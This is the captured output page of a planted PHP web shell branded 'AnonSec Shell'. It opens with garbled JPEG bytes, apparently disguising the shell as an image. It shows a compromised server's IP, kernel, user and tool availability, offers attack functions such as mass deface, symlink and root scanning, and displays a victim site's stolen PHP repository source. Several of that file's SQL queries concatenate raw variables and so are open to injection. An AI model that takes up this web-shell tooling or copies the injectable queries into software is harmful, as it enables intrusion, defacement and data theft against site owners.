JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/model/PresenterAdministratorRepository.php
<?php

namespace Promoteus;

use Nette\Caching\Cache;
use Nette\Database\Context;
use Nette\Security\User;
use Nette\Utils\Strings;

/**
 * Table "presenters"
 * @property int id
 * @property PresentersRepository presenter
 */
class PresenterAdministratorRepository extends Repository
{
    protected $tableName = 'link_presenter_administrator';


    /**
     * @param int $userId
     * @param $presenterId
     * @param String $action
     * @param bool $permission
     * @return mixed|\Nette\Database\Table\ActiveRow|null
     * @throws RepositoryException
     * @throws PermissionException
     */
    public function setUserPermission(int $userId, $presenterId, String $action, $permission = false)
    {
        $adminId = $this->user->getId()['administrator'];

        /** @var Cache $cache */
        $cache = $this->getService('cache');


        $cache->remove('menu_top_userId:' . $userId);
        /** @var PresentersRepository $presentersRepository */
        $presentersRepository = $this->getService('presentersRepository');

        if (is_string($presenterId)) {
            $presenter = $presentersRepository->getBy(['name' => $presenterId]);
        } else {
            $presenter = $presentersRepository->getById($presenterId);
        }
        $presenterId = $presenter->id;

        /** @var Permission $permissionService */
        $permissionService = $this->getService('permission');
        $permissionService->isAllowedUser($presenter->name, Permission::EDIT, true);
        $cache->remove("isAllowedUser:$userId;" . $presenter->name . ":$permission");
        $check = $this->getBy(['administrator_id' => $adminId, 'presenter_id' => $presenterId]);
        if (false === boolval($check->{$action})) {
            throw new RepositoryException($action);
        }

        $presenterAdministrator = $this->getTable()->where(['administrator_id' => $userId, 'presenter_id' => $presenterId,])->fetch();

        $data = ['administrator_id' => $userId, 'presenter_id' => $presenterId, $action => $permission, 'who_changed' => $adminId];
        /*if (!$presenterAdministrator) {
            $data = ['administrator_id' => $userId, 'presenter_id' => $presenter, 'view' => false, 'edit' => false, 'del' => false, 'who_changed' => $adminId];
            return parent::insert($data);
        } else {
        }*/
        return parent::update($presenterAdministrator->id, $data);
    }

    /**
     * @param $id
     * @param $values
     * @return mixed|\Nette\Database\Table\ActiveRow|void
     * @throws RepositoryException
     */
    public function update($id, $values)
    {
        /*pro bezpecnost kodu vsichni funkce musi byt definovany tady*/
        throw new RepositoryException('Must not call this function!');
    }

    public function deleteUser($id)
    {
        $this->getTable()->where('administrator_id', $id)->delete();
    }


    public function setUsers(int $presenterId)
    {
        /** @var AdministratorRepository $administratorRepository */
        $administratorRepository = $this->getService('administratorRepository');
        foreach ($administratorRepository->findAll() as $admin) {
            $this->insert([
                'administrator_id' => $admin->id,
                'presenter_id' => $presenterId,
                'who_changed' => $this->user->getId()['administrator'],
                Permission::VIEW => false,
                Permission::EDIT => false,
                Permission::DEL => false,
            ]);
        }
    }

    /**
     * @param $userId
     * @throws RepositoryException
     */
    public function setNewUser($userId)
    {
        /** @var PresentersRepository $presentersRepository */
        $presentersRepository = $this->getService('presentersRepository');
        foreach ($presentersRepository->findAll() as $row) {
            $this->setUserToNewPresenter($userId, $row->id);
        }
    }

    /**
     * @param int $userId
     * @param int|string $presenter
     * @return mixed|\Nette\Database\Table\ActiveRow|null
     * @throws RepositoryException
     */
    public function setUserToNewPresenter(int $userId, $presenter)
    {
        if (is_string($presenter)) {
            /** @var PresentersRepository $presenterRepository */
            $presenterRepository = $this->getService('presentersRepository');
            $presenter = $presenterRepository->getBy(['name' => $presenter]);
            if (!$presenter) {
                throw new RepositoryException("presenter '$presenter' not found");
            }
            $presenter = $presenter->id;
        }
        return parent::insert(
            [
                'administrator_id' => $userId,
                'presenter_id' => $presenter,
                'view' => false,
                'edit' => false,
                'del' => false,
                'who_changed' => $this->user->getId()['administrator'],
            ]
        );
    }

    /**
     * @return \Nette\Database\Table\Selection
     */
    public function getAllWithNegativeId()
    {
        return $this->getTable()->select('id * -1 AS id, administrator_id, presenter_id, view, edit, del');
    }

    public function getDataTable()
    {
        return $this->db->query('
            SELECT  a.id, a.name, lpa.view, lpa.edit, lpa.del FROM link_presenter_administrator lpa 
            LEFT JOIN administrator a on lpa.administrator_id = a.id
            LEFT JOIN presenters p on lpa.presenter_id = p.id
           WHERE a.name != ""
            GROUP BY a.name
            ORDER BY a.id ASC 
        ')->fetchAll();
    }

    public function getAdminPresenters($adminId)
    {
        return $this->db->query('
            SELECT p.name as presenter_name, p.id as presenter_id, a.id,lpa.view, lpa.edit, lpa.del
            FROM link_presenter_administrator lpa
            LEFT JOIN administrator a ON administrator_id = a.id
            LEFT JOIN presenters p on lpa.presenter_id = p.id
            WHERE lpa.administrator_id = ' . $adminId)->fetchAll();
    }

    public function getAllPresenters()
    {
        return $this->db->query('
            SELECT p.name as presenter_name, p.id as presenter_id
            FROM link_presenter_administrator lpa
            LEFT JOIN presenters p on lpa.presenter_id = p.id
            GROUP BY p.name
            ')->fetchAll();
    }

    public function getAdmin($id)
    {
        return $this->db->query('SELECT * FROM link_presenter_administrator WHERE id = ' . $id)->fetch();
    }
    public function updateAdminPermissions($adminId, $presenterId, $view, $edit, $del)
    {
        return $this->db->query('
            UPDATE link_presenter_administrator lpa
            SET lpa.view = '.$view.', lpa.edit = '. $edit .', lpa.del = '. $del .'
            WHERE lpa.administrator_id = '. $adminId.' AND lpa.presenter_id = '. $presenterId .'
        ');
    }

    public function insertNew($values)
    {
        return $this->insert($values);
    }
}

Anon7 - 2022
AnonSec Team